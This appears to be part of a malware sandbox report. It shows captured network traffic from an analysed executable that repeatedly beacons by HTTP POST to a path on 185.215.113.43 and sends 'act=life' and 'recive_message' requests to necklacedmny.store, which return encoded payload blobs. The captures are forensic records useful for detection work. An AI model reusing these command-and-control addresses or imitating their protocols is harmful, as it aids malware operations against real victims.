Nov 1, 2024 05:55:48.122139931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	50184	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:49.641185999 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:50.573729992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	50185	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:52.192121029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:53.132247925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	50186	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:54.643753052 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:55.542035103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	50187	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:57.177779913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:58.090523958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	50188	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:59.614911079 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:56:00.555630922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	50189	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:56:02.192121029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:56:03.889656067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 05:56:03.890060902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 05:56:03.890372038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	50190	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:56:05.408149958 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:56:06.347640991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	50191	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:56:07.999933004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:56:08.914043903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:52:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:52:07 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=laefvsfn8ad0lb5naa3kjj67b2; expires=Mon, 24-Feb-2025 22:38:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6xFgz%2FKu%2FBzM%2F49bjgjdyuoGGFE6uYD%2FjVyM%2Fe7kJLQ7bihokWCE%2B1qxQkZHWU4h4S9%2BpTRr8MkZiNlOCE97b1cLoCyqUiFTNvCUEMlXx%2FXPFsYy6AnGba3XCnS%2FwmuXk2dfNZc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db94604fcd7e776-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1170&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2387469&cwnd=249&unsent_bytes=0&cid=0d9d26aa61b64a49&ts=592&x=0"
2024-11-01 04:52:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:52:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:07 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:52:07 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:52:08 UTC	1009	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nkbes2noun1v1aorehje3g2vi5; expires=Mon, 24-Feb-2025 22:38:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N2g9B4yhUrJF7DT3Ua6n8hYwbmnvx1GP2L0ZgzWIEFNpbHdrSY07u6FjnHwsvGWc80NFYtiIP0FY%2BWqxQKfd9iRqBjecGtoQx7AfuVjceXH3ClHq88hyh1AGtnkW4aYqZpfyPvA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db9460cc8db479c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2197268&cwnd=251&unsent_bytes=0&cid=06a08fed2c4ccbe6&ts=703&x=0"
2024-11-01 04:52:08 UTC	360	IN	Data Raw: 34 64 63 0d 0a 76 58 4e 74 46 43 6d 43 39 67 6c 66 64 44 68 73 35 38 4d 68 30 37 6e 2b 73 4c 74 7a 79 66 32 46 62 55 66 59 6e 68 75 6e 44 75 2f 47 55 52 73 32 45 37 62 61 4b 79 77 52 47 6c 61 54 73 56 53 32 6c 64 7a 52 33 31 48 7a 6d 2b 51 42 4e 4c 32 79 4f 64 46 6a 7a 59 63 56 44 48 68 61 35 39 6f 72 4f 67 77 61 56 72 79 34 41 37 62 58 33 49 71 5a 46 71 4f 66 35 41 45 6c 75 66 56 30 31 32 4b 4d 31 52 38 4b 66 45 7a 68 6b 6d 67 7a 47 56 30 4a 67 71 4a 4c 76 64 43 54 32 4e 5a 52 35 64 2f 67 46 32 58 69 76 46 62 43 65 6f 37 77 45 68 35 2f 43 2f 2f 61 63 6e 30 52 56 6b 37 64 34 55 43 32 32 35 4c 57 33 78 69 68 6c 65 30 4a 4a 4c 7a 30 61 38 35 6f 68 39 55 52 43 58 31 47 36 49 5a 6c 4f 52 35 57 44 34 69 69 41 2f 2b 62 6d 38 71 5a 53 65 76 4d 31 51 77 30 71 2b Data Ascii: 4dcvXNtFCmC9glfdDhs58Mh07n+sLtzyf2FbUfYnhunDu/GURs2E7baKywRGlaTsVS2ldzR31Hzm+QBNL2yOdFjzYcVDHha59orOgwaVry4A7bX3IqZFqOf5AElufV012KM1R8KfEzhkmgzGV0JgqJLvdCT2NZR5d/gF2XivFbCeo7wEh5/C//acn0RVk7d4UC225LW3xihle0JJLz0a85oh9URCX1G6IZlOR5WD4iiA/+bm8qZSevM1Qw0q+
2024-11-01 04:52:08 UTC	891	IN	Data Raw: 52 43 35 65 71 53 72 7a 57 6e 4e 2f 54 48 71 69 66 34 41 55 76 74 66 5a 39 79 47 47 4c 33 78 46 50 4f 41 76 6e 6a 43 74 6c 56 6e 6b 4c 6c 61 5a 50 70 35 6d 6d 6b 73 5a 66 73 74 2f 67 41 32 58 69 76 48 48 41 62 34 37 55 48 67 78 2b 51 50 4b 55 65 54 73 62 58 78 79 44 70 45 32 37 32 49 37 59 31 78 65 6f 6c 75 77 47 49 4c 33 34 4f 59 73 73 69 73 64 52 56 7a 5a 71 37 5a 39 6e 4e 77 46 61 54 70 72 76 57 76 48 63 6b 4a 4b 42 55 61 2b 65 34 77 34 68 74 50 4a 39 79 57 71 44 30 68 34 4a 66 45 76 6e 6e 6d 4d 31 46 31 63 46 69 71 46 47 76 4e 2b 61 33 74 67 55 36 39 47 6e 43 44 33 36 70 44 6e 72 61 34 37 4e 55 7a 70 31 52 65 36 54 66 58 30 4a 46 42 66 46 70 6b 2f 78 67 39 7a 63 33 42 36 35 6e 76 55 4b 4b 36 6a 77 66 4d 4e 68 6a 74 45 52 43 6e 46 47 37 70 4a 73 50 68 Data Ascii: RC5eqSrzWnN/THqif4AUvtfZ9yGGL3xFPOAvnjCtlVnkLlaZPp5mmksZfst/gA2XivHHAb47UHgx+QPKUeTsbXxyDpE272I7Y1xeoluwGIL34OYssisdRVzZq7Z9nNwFaTprvWvHckJKBUa+e4w4htPJ9yWqD0h4JfEvnnmM1F1cFiqFGvN+a3tgU69GnCD36pDnra47NUzp1Re6TfX0JFBfFpk/xg9zc3B65nvUKK6jwfMNhjtERCnFG7pJsPh
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 37 5a 74 69 4e 42 39 49 42 49 6d 76 55 62 7a 52 6d 64 7a 56 46 4b 53 66 35 67 34 72 73 50 63 35 69 79 79 4b 78 31 46 58 4e 6d 54 74 68 48 6b 33 48 55 74 4d 73 4b 4a 4e 76 39 79 4b 6b 73 5a 66 73 74 2f 67 41 32 58 69 76 48 4c 44 59 49 48 66 46 78 31 34 52 50 4b 65 65 54 6b 59 58 67 4b 4c 71 45 36 2b 33 6f 37 57 32 51 4f 71 6d 75 41 42 4b 4b 6a 35 4f 59 73 73 69 73 64 52 56 7a 5a 78 31 4a 4e 37 4c 42 45 59 4f 34 61 76 54 62 62 4e 33 4d 32 58 43 4f 75 59 36 30 39 39 2b 76 39 31 79 47 57 49 30 41 4d 46 65 6b 72 79 6b 32 49 30 48 46 73 41 69 71 70 50 74 4d 6d 58 33 64 45 65 71 70 4c 71 42 43 47 36 76 44 65 46 61 35 57 66 53 55 39 58 52 75 2b 47 61 43 78 55 62 77 32 4c 72 30 53 6e 6d 34 4f 63 77 46 47 73 6b 36 64 58 5a 62 76 77 64 63 52 6a 69 Data Ascii: 3f907ZtiNB9IBImvUbzRmdzVFKSf5g4rsPc5iyyKx1FXNmTthHk3HUtMsKJNv9yKksZfst/gA2XivHLDYIHfFx14RPKeeTkYXgKLqE6+3o7W2QOqmuABKKj5OYssisdRVzZx1JN7LBEYO4avTbbN3M2XCOuY6099+v91yGWI0AMFekryk2I0HFsAiqpPtMmX3dEeqpLqBCG6vDeFa5WfSU9XRu+GaCxUbw2Lr0Snm4OcwFGsk6dXZbvwdcRji
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 39 51 4f 53 51 61 7a 41 64 56 41 43 4d 72 55 75 39 33 49 37 66 33 42 6d 68 6c 75 49 44 4b 4c 6e 75 65 73 51 73 77 35 38 57 46 7a 59 54 6f 4c 4e 59 43 6a 55 61 45 63 75 34 41 37 62 58 33 49 71 5a 45 4b 4f 59 36 51 73 33 74 4f 35 33 77 6d 79 4c 31 78 6b 49 65 6b 58 75 68 6d 4d 38 46 6c 51 42 6a 61 68 48 73 4e 2b 59 33 74 35 52 35 64 2f 67 46 32 58 69 76 46 48 47 64 70 65 64 50 77 52 32 54 50 43 43 63 48 30 4a 46 42 66 46 70 6b 2f 78 67 39 7a 57 30 68 75 69 6e 4f 34 4c 4b 4c 72 31 64 73 78 6b 67 4e 63 44 44 6e 78 5a 35 4a 46 71 4d 68 78 65 42 6f 6d 75 54 37 58 4a 6c 35 4b 58 55 61 79 48 70 31 64 6c 6d 76 64 76 35 6e 36 66 6e 77 35 42 62 77 76 6e 6d 43 74 6c 56 6c 4d 43 68 4b 42 4a 74 39 43 5a 33 39 6b 55 6f 5a 6a 72 44 79 57 35 2b 6e 2f 49 5a 49 58 54 48 51 Data Ascii: 9QOSQazAdVACMrUu93I7f3BmhluIDKLnuesQsw58WFzYToLNYCjUaEcu4A7bX3IqZEKOY6Qs3tO53wmyL1xkIekXuhmM8FlQBjahHsN+Y3t5R5d/gF2XivFHGdpedPwR2TPCCcH0JFBfFpk/xg9zW0huinO4LKLr1dsxkgNcDDnxZ5JFqMhxeBomuT7XJl5KXUayHp1dlmvdv5n6fnw5BbwvnmCtlVlMChKBJt9CZ39kUoZjrDyW5+n/IZIXTHQ
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 6e 47 41 37 47 46 73 49 69 61 77 44 2f 35 75 62 79 70 6c 4a 36 37 6a 39 41 69 4f 74 37 55 7a 43 62 4e 79 66 44 6b 46 76 43 2b 65 59 4b 32 56 57 56 77 4b 50 72 45 61 31 30 35 76 52 32 42 32 76 6b 75 6f 4c 4c 4c 37 35 61 39 64 71 67 39 38 65 41 58 6c 48 38 70 70 75 50 52 6f 61 51 4d 57 6d 57 2f 47 44 33 4f 50 4f 45 65 75 41 71 52 5a 6c 76 66 41 35 6e 53 79 43 30 67 4d 44 65 55 76 68 6c 32 38 32 45 56 77 49 68 4b 4a 47 73 74 36 61 30 39 6b 64 6f 5a 6a 76 42 53 75 33 2b 6e 33 44 61 73 32 52 55 51 68 75 43 37 6a 55 57 54 41 59 55 77 32 44 72 46 57 5a 36 74 7a 4e 6c 77 6a 72 6d 4f 74 50 66 66 72 34 63 73 31 67 69 4e 63 55 44 6e 35 42 36 4a 74 6b 4c 78 64 56 42 34 4b 71 54 72 37 56 6d 64 7a 4c 46 71 43 55 37 77 59 72 76 4c 77 33 68 57 75 56 6e 30 6c 50 51 45 6a Data Ascii: nGA7GFsIiawD/5ubyplJ67j9AiOt7UzCbNyfDkFvC+eYK2VWVwKPrEa105vR2B2vkuoLLL75a9dqg98eAXlH8ppuPRoaQMWmW/GD3OPOEeuAqRZlvfA5nSyC0gMDeUvhl282EVwIhKJGst6a09kdoZjvBSu3+n3Das2RUQhuC7jUWTAYUw2DrFWZ6tzNlwjrmOtPffr4cs1giNcUDn5B6JtkLxdVB4KqTr7VmdzLFqCU7wYrvLw3hWuVn0lPQEj
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 52 4a 55 48 49 53 75 41 2f 2b 62 6d 38 71 5a 53 65 75 75 38 51 67 69 74 62 35 51 77 6e 65 4d 31 52 49 45 65 67 76 2f 32 6e 4a 39 45 56 5a 4f 33 65 46 4f 76 64 61 59 77 4e 55 52 71 35 62 67 42 54 65 31 38 33 54 47 62 49 6a 4e 45 42 31 35 51 4f 57 58 62 7a 49 5a 56 67 61 50 34 51 33 78 33 49 53 53 67 56 47 48 6e 50 59 46 5a 35 33 6d 62 38 4a 67 6e 4e 51 63 41 7a 5a 55 72 6f 30 72 4f 68 6f 61 56 73 57 68 51 72 7a 4a 6d 64 50 54 47 36 61 58 36 41 6f 67 74 66 68 39 7a 6d 4b 66 30 52 34 50 63 45 44 68 6b 57 67 32 48 46 51 48 6c 2b 45 4e 38 64 79 45 6b 6f 46 52 67 59 54 6d 41 69 6e 34 30 6e 4c 54 61 38 2f 2b 48 77 52 78 52 2f 62 55 64 48 4d 50 47 67 6d 4a 34 52 76 78 30 70 4c 65 32 68 61 6a 6c 2b 49 50 4c 72 72 7a 63 38 74 72 6e 39 55 64 42 57 52 45 34 35 6c 76 Data Ascii: RJUHISuA/+bm8qZSeuu8Qgitb5QwneM1RIEegv/2nJ9EVZO3eFOvdaYwNURq5bgBTe183TGbIjNEB15QOWXbzIZVgaP4Q3x3ISSgVGHnPYFZ53mb8JgnNQcAzZUro0rOhoaVsWhQrzJmdPTG6aX6Aogtfh9zmKf0R4PcEDhkWg2HFQHl+EN8dyEkoFRgYTmAin40nLTa8/+HwRxR/bUdHMPGgmJ4Rvx0pLe2hajl+IPLrrzc8trn9UdBWRE45lv
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 66 46 70 6b 2f 78 67 39 7a 53 33 52 32 6f 6d 4f 6b 41 4b 4c 58 37 63 73 70 6d 67 38 30 65 43 6e 35 48 36 4a 6c 35 4e 78 78 49 42 34 79 73 54 62 6e 4a 6e 35 4b 58 55 61 79 48 70 31 64 6c 69 50 5a 36 79 58 71 41 30 46 45 51 4f 46 4b 67 6b 32 64 39 54 68 6f 63 6c 36 46 49 73 64 79 53 77 4e 67 5a 70 4a 58 6e 43 53 36 77 2f 33 44 42 59 6f 54 5a 45 41 4a 33 53 75 43 52 61 7a 51 45 56 30 37 4c 34 55 53 70 6d 38 53 53 37 68 32 67 72 75 51 5a 5a 61 57 79 59 49 56 72 67 5a 39 4a 54 33 64 5a 37 5a 78 76 50 52 74 63 42 59 53 67 51 4c 48 62 6e 39 4c 63 47 71 53 5a 34 41 49 76 73 2f 56 72 7a 57 69 66 33 78 30 4c 4e 67 57 67 6b 33 4e 39 54 68 6f 2b 68 71 70 50 73 64 61 4a 6b 73 5a 66 73 74 2f 67 41 32 58 69 76 48 48 4f 5a 34 76 55 45 67 78 34 51 4f 71 62 5a 44 63 51 58 Data Ascii: fFpk/xg9zS3R2omOkAKLX7cspmg80eCn5H6Jl5NxxIB4ysTbnJn5KXUayHp1dliPZ6yXqA0FEQOFKgk2d9Thocl6FIsdySwNgZpJXnCS6w/3DBYoTZEAJ3SuCRazQEV07L4USpm8SS7h2gruQZZaWyYIVrgZ9JT3dZ7ZxvPRtcBYSgQLHbn9LcGqSZ4AIvs/VrzWif3x0LNgWgk3N9Tho+hqpPsdaJksZfst/gA2XivHHOZ4vUEgx4QOqbZDcQX
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 4f 75 74 66 65 30 39 51 42 72 4e 2b 70 54 79 50 36 70 43 6d 4c 4c 49 6e 4f 55 56 63 6d 47 62 76 42 4f 47 70 47 43 42 48 4c 75 41 4f 6e 6d 38 53 41 6c 31 47 35 33 37 39 50 59 72 6e 75 61 38 4e 76 6d 39 78 57 4d 55 68 72 36 35 68 6f 4d 52 64 64 54 73 76 68 54 50 47 44 70 5a 4c 61 41 37 6e 51 39 68 6b 6f 71 76 73 31 7a 58 32 41 30 31 46 42 4e 67 66 6b 6e 32 63 34 45 55 70 42 6c 37 46 49 76 63 33 51 31 73 74 52 35 64 2f 32 42 43 71 6f 38 6e 36 4b 66 5a 76 53 41 51 78 7a 54 4b 79 63 65 6a 41 61 47 6b 44 46 74 45 69 39 33 5a 48 48 6c 67 43 39 6e 50 45 49 61 62 4c 74 64 4d 6b 73 73 70 46 52 46 7a 59 54 6f 4b 46 6f 4d 78 68 64 47 4a 54 73 59 37 72 58 6e 39 37 59 46 75 76 52 70 77 6c 6c 34 71 38 33 68 57 69 63 6e 30 6c 66 4a 42 43 31 78 7a 78 74 52 45 56 41 6e 4f Data Ascii: Outfe09QBrN+pTyP6pCmLLInOUVcmGbvBOGpGCBHLuAOnm8SAl1G5379PYrnua8Nvm9xWMUhr65hoMRddTsvhTPGDpZLaA7nQ9hkoqvs1zX2A01FBNgfkn2c4EUpBl7FIvc3Q1stR5d/2BCqo8n6KfZvSAQxzTKycejAaGkDFtEi93ZHHlgC9nPEIabLtdMksspFRFzYToKFoMxhdGJTsY7rXn97YFuvRpwll4q83hWicn0lfJBC1xzxtREVAnO
2024-11-01 04:52:08 UTC	1369	IN	Data Raw: 78 49 47 58 55 62 6e 66 76 30 39 69 74 50 46 34 78 6d 4b 4f 7a 51 4d 4a 64 56 33 6a 30 31 55 44 4d 31 63 44 67 4b 39 45 6a 2b 57 39 32 4d 6b 63 70 4a 6a 5a 4d 52 4b 72 2b 32 6d 48 53 6f 37 4a 45 6b 38 34 43 2f 6a 55 4d 33 30 33 55 42 36 49 72 6b 54 78 6c 64 7a 57 6d 55 6e 72 75 75 6f 43 49 4c 54 37 4f 2b 52 6d 6e 64 49 65 43 44 59 46 6f 4a 67 72 5a 56 5a 62 42 4a 57 73 54 4c 61 58 6d 38 6a 65 55 65 58 66 36 55 39 39 2b 76 31 7a 31 57 47 43 32 46 30 4a 65 45 57 67 69 79 55 6b 56 6b 78 4f 33 66 49 4e 38 63 6e 63 69 70 6c 57 70 5a 4c 6d 44 43 75 35 37 6d 76 44 62 35 76 63 56 6a 46 49 62 75 32 5a 62 6a 4d 52 5a 44 43 6b 71 31 4f 38 31 4a 75 51 2b 52 61 39 6e 4e 6b 78 45 71 76 37 61 59 64 4b 6a 73 6b 53 54 7a 67 4c 